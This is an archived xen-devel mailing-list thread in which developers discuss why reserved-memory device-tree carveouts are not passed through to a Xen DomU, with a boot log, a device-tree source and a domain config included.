 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ti.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=hn4uvu6xUHqmPN17z9JfBf/PvTCha8Eab+twlmEpdeA=;
 b=RsWqasr4vx2pbR9qADi4VmJ9C0Oswi78DpBshjp/mReYwy58PSHrTUAphr9ooV6mz+z5QgNSXLKbqf9js6jBcx5Gg3MMBn1q9wk37q1zbxZ5YozoXFr/8gl/D1MTuuoF/17oNjM7a+/67hI/Kg9iL+r2n60J7vEc0X6ahajv4J8=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 198.47.23.195)
 smtp.mailfrom=ti.com; dkim=none (message not signed) header.d=none;dmarc=pass
 action=none header.from=ti.com;
Received-SPF: Pass (protection.outlook.com: domain of ti.com designates
 198.47.23.195 as permitted sender) receiver=protection.outlook.com;
 client-ip=198.47.23.195; helo=lewvzet201.ext.ti.com; pr=C
Message-ID: <92ad79d5-ad28-4b17-ae13-174135d565fe@ti.com>
Date: Fri, 24 Jul 2026 14:02:23 +0530
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [Query] Unable to probe reserved-memory carveouts in DomU with
 Xen
To: "Orzel, Michal" <michal.orzel@amd.com>, <xen-devel@lists.xenproject.org>
References: <ba100bd7-5cc0-4f87-af3c-dca887963d44@ti.com>
 <c042c42e-89a6-4d9e-8b9e-3f6ceb259467@amd.com>
Content-Language: en-US
From: "Padhi, Beleswar" <b-padhi@ti.com>
In-Reply-To: <c042c42e-89a6-4d9e-8b9e-3f6ceb259467@amd.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 8bit
X-C2ProcessedOrg: 333ef613-75bf-4e12-a4b1-8e3623f5dcea
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH3PEPF00000012:EE_|DS7PR10MB5087:EE_
X-MS-Office365-Filtering-Correlation-Id: 9d68fffd-1f3a-4a4b-1e50-08dee95e17b3
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|36860700016|376014|23010399003|1800799024|18002099003|22082099003|10067099003|56012099006|4143699003;
X-Microsoft-Antispam-Message-Info:
	Cv/NkF7j0T4CohOBSJ/g3gHn8ed+jce814kvZIGJ/hRCMWyh0FZL++yXn11KXBIEAQiwRyh9SKPoSj4FUTIaDlQAKpOV9BB2ArvM9RZ3EI96YJ/AAWhNvbCZOiHviw35GRuocQAxRJDowacIJrvJP6XHwmAths2iLLkZaBOqbNc6ZeJB6i7t0WSNiNiKC2vBLXnlQuutztSm+SlSoD+x/c1XchrSxT53q9t/PkWA7aFO4YmbdH/rgTse7FmAryLOk/kbECLNVrPmNFV7s5R3M9oIpojUJdKHd5k3c6KIPUIkuliIgqF/MtWw0Y6V23aA3ehmBN2r/FsDYcYkSBlWaKNYBztCMErvQHg89T3BYGUIqtPNBx78VX9xVyHefk6RETxrolxzbT6qgbp2UlAnL70Bzba7FHWsazZsAuKGUdMj32JK2D1CUz5rEO8l8dqf4UjE8wEvzzVA2gCWmn/3WxAjDyFrtcdS60rCiC7NbcpsePjf1jMhWTs/Tg9Y9aB6tVg2PFIZIG+DHOVOp3RYDJnEkhU4oMkOMsavEgN58tgul5XDv2r9kgoRa2aIfGUuH7+HiJkHBTm/GAtklsNVwRsy/g5SX5qBNyW4Z8LQFteT4q8s5x+sl+EBimRyfO74tW9U29ehI12KGrjpMCsg5ZOIkwRtrN1egXWClEU4QTNFWE9tFE3qkkxOgMpcagVKTXsWk1/UtHMdEj6YEcvDMw==
X-Forefront-Antispam-Report:
	CIP:198.47.23.195;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:lewvzet201.ext.ti.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(36860700016)(376014)(23010399003)(1800799024)(18002099003)(22082099003)(10067099003)(56012099006)(4143699003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	ZuRSQXgwsZjr4BCb4yDA6UhIb+SUwlFgzlY5G3fzgBI/t10wwdjOqowZ4W0Eg6LBQwIiz0r3++XwRN2ewx279EGHY6F8v+CwLvns3VWDorjRHtxZTeaPRP9e+iRWbr4kT1ZzyCPRuAtyg++SdJj8i7HgGX6CZTaSCVuYqDAJT7mi67mOXl/dc5UC7356yD7OwgFohrobsi/pDik888tKIvmt0qIYiX3j6x1FY7saDcHWzUDJXZ6JzmZFzc33ithuj6L6PXR1f8tqH1GT+k8oe9vg1bNsJHwRTJg52dOZY0iitVmbRd3smsP9p/MpJPcAfB20YM/Wb4UMmq55l4r6bzGNFr872lqYSrKeKiYRIsiCM1oFoGOjvT/ldPRA72fVthtBcYpV2XvtwWySDl6PQbm5IJdsd4ISb4yv7qo8YHtoKWAip4aCgwDN0g1Mse4D
X-Exchange-RoutingPolicyChecked:
	UrJJh790AgYoA99JqRSE+dQHuyj2XR63CBhmNEfex6ME8xqP1KnUamuli1lSZtvjIS72Eu4xaqCFqjvnEokWYUixGPvBwRif+SO9a80VlLc9dBwtow45aA6QEBBsvqA5HHRps23gZoDXBx90v0tPvDJhs4txvZsS+YX2yk8cnMlXrduf+JIJcYO1EK43ztJlY2xn0yLiaxw5ixWr6xBWavOlrCUYLaxNGiDymvSY498XDyJOOkugnFkRarJVN7Spiinl9ceuN9ehB5bDv36QztJmZrSq7UdkIjeixGDRxl7+NCemvOiUKYYojI9nQ3yGF/ZLecrgHAI1TctBOFpTcg==
X-OriginatorOrg: ti.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 24 Jul 2026 08:32:26.5935
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 9d68fffd-1f3a-4a4b-1e50-08dee95e17b3
X-MS-Exchange-CrossTenant-Id: e5b49634-450b-4709-8abb-1e2b19b982b7
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=e5b49634-450b-4709-8abb-1e2b19b982b7;Ip=[198.47.23.195];Helo=[lewvzet201.ext.ti.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH3PEPF00000012.namprd21.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS7PR10MB5087
X-Authority-Analysis: v=2.4 cv=M4p97Sws c=1 sm=1 tr=0 ts=6a632325 cx=c_pps
 a=0CigaX/e8+d28YZ4T1vruA==:117 a=f+v6EHfkeJbVwR46tk4DMg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10
 a=s63m1ICgrNkA:10 a=V5UXEbMT0ywA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=Z8NIEmU8O1QQgoT56wFK:22 a=fPAWb5peG099m5CrUpKH:22 a=-pY1gOhbICEf3BRWbVsA:9
 a=3ZKOabzyN94A:10 a=QEXdDO2ut3YA:10
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI0MDA3NiBTYWx0ZWRfXxhRD/SegIMhy
 5xtOIvLRYhcBBVYtDSakBFnSS3dnEUfW2lyR9sPS1f46/NYlW6YTG2nO0Vg7j3y48fxumdrRUjV
 vh8PD8JSzVoAr+1PfvQ0kbovlJHFR8k=
X-Proofpoint-ORIG-GUID: nP8c9XhaC7wvaj0zyi77ofa4aR8Jiw5o
X-Proofpoint-GUID: nP8c9XhaC7wvaj0zyi77ofa4aR8Jiw5o
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI0MDA3NiBTYWx0ZWRfX6jCI+43DAqdC
 5BuZiJXhTsBFJHi0Bxe7NLLc9Hdb4WKchfvtez2E0s1ov2vYdYeI5u+ojwhuDeQkW5++MGKuSmS
 OFv0oMDvoyFVa9E66DPog3ONA1hnc+qsSbXGlmNO+B1eS4G+q34iFdDenGhnOKS7FXQhMpFH1C4
 QbKIjyrxQ7ufruMH2XS9yAIGz2lAI1r8EZ5e4IJR0RhkmOltEN6OE8poVCPtCBvivDUAMHZLtAj
 qQbRVvzuMhK7ZHU7rXe7sScNniEBklb26z0HPmZ2Kq8AKC8wHxUB3LfPZouWDymAZRRe4y/41JP
 wd3FoBlWFVtdSfg67c6Lcegu1hiI/DOzunE9+JEDytsYRbopnhpkBAEL/h83RTIVgDtHlrQA08A
 aTIt3cTl/FG+mydUqIjQyGisUUMJVzXj/NWKNIrn3Bn3bjstbXWq9Bh1IQF/iZVEE+F+sem2e1W
 NDzLWrcrbwyn40FmwjQ==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-24_01,2026-07-22_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 malwarescore=0 spamscore=0 priorityscore=1501 adultscore=0 clxscore=1011
 suspectscore=0 phishscore=0 bulkscore=0 lowpriorityscore=0 impostorscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607240076
X-purgate-ID: tlsNG-d62444/1784881960-1FE68757-86D0A507/0/0
X-purgate-type: clean
X-purgate-size: 5931

Hello,

Thanks for the response! I see, this would solve the cma problem. But 
there are usecases
when we want to use the reserved-memory node; one example is the 
firmware for
remote processors. In that case, how do we passthrough reserved-memory 
nodes to
DomUs?

Example:
 Â 60
 Â 61Â  Â  Â  Â  Â  Â  Â  Â  Â mcu_r52_0_fw_memory_region: memory@a1000000 {
 Â 62Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "shared-dma-pool";
 Â 63Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg = <0x00 0xa1000000 0x00 0x100000>;
 Â 64Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â no-map;
 Â 65Â  Â  Â  Â  Â  Â  Â  Â  Â };

Thanks,
Beleswar

On 7/24/2026 1:52 PM, Orzel, Michal wrote:
> Hi,
>
> I'm afraid this will not work. The reason is that Xen only copies nodes from the
> passthrough DTB to final DTB that are placed under `/passthrough` node and
> `/aliases`. /reserved-memory needs to be under root node `/`, therefore it will
> not be copied. However, it seems like you are not using CMA node specifying a
> fixed memory region (using `reg`) but size. In that case you should be able to
> achieve the same using `cma=128M` kernel cmdline parameter.
>
> ~Michal
>
> On 24-Jul-26 08:55, Beleswar Prasad Padhi wrote:
>> Hi all,
>>
>> I have been trying to use reserved-memory carveouts in DomU, but failing constantly.
>>
>> This is the log from Dom1 boot:
>>
>> [Â  Â  0.000000] earlycon: uart8250 at MMIO32 0x0000000053914000 (options '115200n
>> 8')
>> [Â  Â  0.000000] printk: legacy bootconsole [uart8250] enabled
>> [Â  Â  0.000000] Xen 4.21 support found
>> [Â  Â  0.000000] efi: UEFI not found.
>> *[Â  Â  0.000000] OF: reserved mem: Reserved memory: No reserved-memory node in the DT*
>> [Â  Â  0.000000] Zone ranges:
>> [Â  Â  0.000000]Â  Â DMAÂ  Â  Â  [mem 0x0000000040000000-0x0000000051ffffff]
>> [Â  Â  0.000000]Â  Â DMA32Â  Â  empty
>> [Â  Â  0.000000]Â  Â NormalÂ  Â empty
>> [Â  Â  0.000000] Movable zone start for each node
>> [Â  Â  0.000000] Early memory node ranges
>> [Â  Â  0.000000]Â  Â nodeÂ  Â 0: [mem 0x0000000040000000-0x0000000051ffffff]
>> [Â  Â  0.000000] Initmem setup node 0 [mem 0x0000000040000000-0x0000000051ffffff]
>> [Â  Â  0.000000] On node 0, zone DMA: 24576 pages in unavailable ranges
>> [Â  Â  0.000000] cma: Reserved 32 MiB at 0x000000004f800000
>>
>> This is my passthrough.dts:
>>
>>  Â  Â  1 /*
>>  Â  Â  2 * This is a partial DT for passthrough node to DomU.
>>  Â  Â  3 */
>>  Â  Â  4 #include <dt-bindings/interrupt-controller/irq.h>
>>  Â  Â  5 #include <dt-bindings/interrupt-controller/arm-gic.h>
>>  Â  Â  6
>>  Â  Â  7 /dts-v1/;
>>  Â  Â  8
>>  Â  Â  9 / {
>>  Â  Â 10Â  Â  Â  Â  Â #address-cells = <2>;
>>  Â  Â 11Â  Â  Â  Â  Â #size-cells = <1>;
>>  Â  Â 12
>> ~Â  13Â  Â  Â  Â  Â reserved-memory {
>> ~Â  14Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
>> ~Â  15Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <2>;
>> +Â  16Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
>> +Â  17
>> +Â  18Â  Â  Â  Â  Â  Â  Â  Â  Â /* CMA region for framebuffer allocation */
>> +Â  19Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma {
>> +Â  20Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "shared-dma-pool";
>> +Â  21Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reusable;
>> +Â  22Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â size = <0x00 0x08000000>; /* 128MB CMA pool */
>> +Â  23Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma-default;
>> +Â  24Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>  Â  Â 25Â  Â  Â  Â  Â };
>>  Â  Â 26
>>  Â  Â 27Â  Â  Â  Â  Â passthrough {
>>  Â  Â 28Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "simple-bus";
>>  Â  Â 29Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
>>  Â  Â 30Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
>>  Â  Â 31Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <1>;
>>  Â  Â 32
>>  Â  Â 33Â  Â  Â  Â  Â  Â  Â  Â  Â misc_clk: misc_clk {
>>  Â  Â 34Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â #clock-cells = <0>;
>>  Â  Â 35Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clock-frequency = <100000000>;
>>  Â  Â 36Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "fixed-clock";
>>  Â  Â 37Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>
>>  Â  Â 73Â  Â  Â  Â  Â  Â  Â  Â  Â uart@53914000 {
>>  Â  Â 74Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "ns16550a";
>>  Â  Â 75Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg = <0x00 0x53914000 0x1000>;
>> ~_ 76Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â interrupts = <0 302 4>;
>>  Â  Â 77Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-shift = <2>;
>>  Â  Â 78Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-io-width = <4>;
>>  Â  Â 79Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clocks = <&misc_clk>;
>>  Â  Â 80Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â oversampling-rate = <16>;
>>  Â  Â 81Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â programmable-char-timeout = <4>;
>>  Â  Â 82Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â status = "okay";
>>  Â  Â 83Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,path = "/bus@100000/bus@22000000/uart@53914000";
>>  Â  Â 84Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,reg = <0x0 0x53914000 0x1000 0x0 0x53914000>;
>>  Â  Â 85Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,force-assign-without-iommu;
>>  Â  Â 86Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>  Â  Â 87Â  Â  Â  Â  Â  };
>>
>>  Â  Â 88Â  Â  };
>>
>>
>> And this is my dom1.cfg file:
>>
>>  Â 1 name = "dom1"
>>  Â 2 memory = 256
>>  Â 3 vcpus = 4
>>  Â 4
>>  Â 5 kernel = "/boot/xen-dom1/Image"
>>  Â 6 extra = "console=ttyS0,115200n8 earlycon=uart8250,mmio32,0x53914000,115200n8 loglevel=8 root=/dev/xvda rw"
>>  Â 7
>>  Â 8 # UART1 (0x53914000) passthrough to Dom1 console
>>  Â 9 iomem = ["0x53914,1"]
>> 11 irqs = [ 334 ]
>> 12 dtdev = [ "/bus@100000/bus@22000000/uart@53914000"]
>> 13 vif = ["script=vif-route"]
>> 14 device_tree = "/boot/xen-dom1/passthrough.dtb"
>> 15 #
>> 17 disk = ["phy:/dev/vda2,xvda,rw"]
>>
>>
>> Am I doing something wrong? Any help or debugging leads would be really appreciated...
>>
>> Thank you,
>> Beleswar
>>
>>


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 08:58:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 08:58:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369902.1618371 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnBji-0003mR-Qx; Fri, 24 Jul 2026 08:58:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369902.1618371; Fri, 24 Jul 2026 08:58:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnBji-0003mK-OF; Fri, 24 Jul 2026 08:58:30 +0000
Received: by outflank-mailman (input) for mailman id 1369902;
 Fri, 24 Jul 2026 08:58:29 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wnBjh-0003mE-8l
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 08:58:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnBjf-009sxt-QB
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 10:58:28 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a63292f-e002-0a2a0a5209dd-0a2a4502e89e-10
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 10:58:27 +0200
Received: from [52.101.53.8]
 (helo=BL0PR03CU003.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a632932-6ca4-0a2a45020019-34653508a70e-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 10:58:27 +0200
Received: from SA9PR13CA0096.namprd13.prod.outlook.com (2603:10b6:806:24::11)
 by MN2PR12MB4392.namprd12.prod.outlook.com (2603:10b6:208:264::24)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.11; Fri, 24 Jul
 2026 08:58:22 +0000
Received: from SA2PEPF00001505.namprd04.prod.outlook.com
 (2603:10b6:806:24:cafe::83) by SA9PR13CA0096.outlook.office365.com
 (2603:10b6:806:24::11) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5 via Frontend Transport; Fri, 24
 Jul 2026 08:58:21 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 SA2PEPF00001505.mail.protection.outlook.com (10.167.242.37) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.270.5 via Frontend Transport; Fri, 24 Jul 2026 08:58:21 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 24 Jul
 2026 03:58:21 -0500
Received: from [10.71.196.80] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 24 Jul 2026 03:58:20 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=CEE2EHA9YxaF5t0V/TuLPz+ohjd1BXm7Ud0Rj0W9uTcdq+F9pfxV4t4F7cC/Az9UzGX1wWqwbQEpZ9gwferDYackB7VR4wM7EDf/0VYaD0mbbj1FHKFCm/BIuAXOHfIaUrQBMLDojvbyftelgDunz4YWeNoBHujYV6wPFMWOU9+KTA8Ul0tqdpEliBVhtj1061paeMWXUOZIaPV+V9DUZ4OiCTcsEedS5PyHgKfphYfvb6iVCVI/d/E/Pqr9QhHK3DDb3AAsCFrqumVWClMMW10N17Xoa82kRZF0OtO/yPoB/IMXqRQ4uDP4nUWtttgNKKhYhr9wf0N0siMSRt0Fgg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=eEeI4jmw91LkbgKlBaywTLIDwwVRBhYtUb1a+MdlzIc=;
 b=hRtxG4JUnxgVyc/J5TRXTYr6dnwzJ6dRwC8plFX5Z2z1SM2i4S0hstnn4XGdGh5B1BsQ3jqoAqGFlX307Di+Y6W1Pr4grSz/i4uPjfRqz7l6fVyVHemBBOcf9JOKbIa18Ml38N/tWcbCoJgKdboelXO7T3q8d/F4sHn13NZ/IhZdSWy4EOfDc1+8bZlPx0rFNVKV1xYQD9b9wwRnMwu6wC14UX/qrZCgWh+CvuE4XyMCcIoVLBwbBWCFH2I8YdbZl/Kemu0/pbLN5tjCcpukYQBmSTYqjPKa/GUtxFNo9XahxStkGdP0Fy2MWRZSMCqjE+3nWANZYlrmYJDnuIHoGQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=ti.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=eEeI4jmw91LkbgKlBaywTLIDwwVRBhYtUb1a+MdlzIc=;
 b=43A5j8KRGSz1GRikvA/N6KYBScga420levQ8xbUAh9b2KanIeYm1bQoXzuG/si+gtHyrwhEoKZlzpXdgoe5Pqh+C/sPUuq1vz8IGL/ufsQrPdmeaOKEo3kKXUeO0wPEbsB+Ds5rYgyFfrXJ48HaLlP7AtDaMcb/1RBQExTmR+jo=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <a28c9391-ab8a-4998-b35f-9ef4b539220c@amd.com>
Date: Fri, 24 Jul 2026 10:58:22 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [Query] Unable to probe reserved-memory carveouts in DomU with
 Xen
To: "Padhi, Beleswar" <b-padhi@ti.com>, <xen-devel@lists.xenproject.org>
References: <ba100bd7-5cc0-4f87-af3c-dca887963d44@ti.com>
 <c042c42e-89a6-4d9e-8b9e-3f6ceb259467@amd.com>
 <92ad79d5-ad28-4b17-ae13-174135d565fe@ti.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <92ad79d5-ad28-4b17-ae13-174135d565fe@ti.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SA2PEPF00001505:EE_|MN2PR12MB4392:EE_
X-MS-Office365-Filtering-Correlation-Id: 5757791d-f64f-4baf-e48d-08dee961b6b4
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|36860700016|1800799024|82310400026|13003099007|6133799003|56012099006|11063799006|10067099003|4143699003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	uO3ovG1v0E746xw/n120NP7JcNctEOK9IGBuWuxC2PF4Kj/WYt4AAwJt0l1ie0U6sMDTAEGnBy7bUH5Ob/IIirvnYsa4vtzd7C0k4IcmlMQvIb/Tve7n9MD0RXY5UoHZcOJLHBnARspYXTcOHp423anGqH8EXdFjUcF6lfA4mcuLqzhKpfvpcdGUo6RGiXv21uUDT8gt2Gd1k37ikGcedp+CThhAVzjWLRuWKS+61OvR0+BANEN5doIW/w1sJZBWJbqq6JeqqnA9MBFcfwYG1APjHRLuYNQubM+ZwTnM51MrPVr2NsP5w1JxsCLrFzddhrpII+HTAjVbtW9E+EqCTb8AFQj7MHfCNbyBVT6GmLY/AfW5Ksjgqjzcjn0Wzwa3QimlHT5DMcqabOTpTeeFPt4HWCTWpRy7fd33lD2PPwSSbnokSF9SY/0FhGwFLmHDNcpom2QEvolHLIXOcZw/M/hNTTRKBZzivRjFnLY1ymI7xcdrAAt9PLp7SvJaTooPb8tyUkRd4Jf3I/sF+o7NU3rFYoszzmT0/2zPZyb8Pg+L/FxOxkb5yLjveZx9z3AUQrdTndk8L0+UDhOLL+UjbxUY0snjV/15PhIZdGb2lRnuw7swknI8x7ry1dMgvUBYgnNH524MUIxlQNxoh1Nqe9+pawTMb1ukvlaw54PyvyqSgH01eZWEOxOoCoD5UzzfI8I855+OHAV4XNY0gKjWgw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(376014)(36860700016)(1800799024)(82310400026)(13003099007)(6133799003)(56012099006)(11063799006)(10067099003)(4143699003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	nqSQaS3OV725jvsHtAjW7vRL0ZFmrzzkO5Uzhgvwz+1r2HuL+zYU3Yy1ls/G+NWZBnXfT7tlC4bhzZhbVgRqUJ1rWujeQ6t70IV2w4++TAMyeXytWzkJqkt917BQm8D1/NDGAy4xKLw7v8ioyO+nBJT3rPX9/+4gvJ/aE2bNj2vwMA2Xf+WUzQIJio2AAbg0I3cBpt0EUtDTah/DqEsTk3K+CWLD2pNIa9UZbXmacOaBu6PBWNuY6uy2pkzDYAQvuWdDn7ma+pBAi4k0pu0WNGDvG/ODROFjCoUhBkSghbLEvVbJuaTcSy1KwVTPmwIdK5PV0rMdDcYdGkCfdNOUZpqQOqAbG+d5AEDSlX+oA2fkUtyXlky51cZXkDvtYTDHbU86tgfP41tbn94l2WOzuw+6EU8iG54GYFS1tqInykCvUxq7Oymz7D8xmrsCmlEs
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 24 Jul 2026 08:58:21.8924
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 5757791d-f64f-4baf-e48d-08dee961b6b4
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
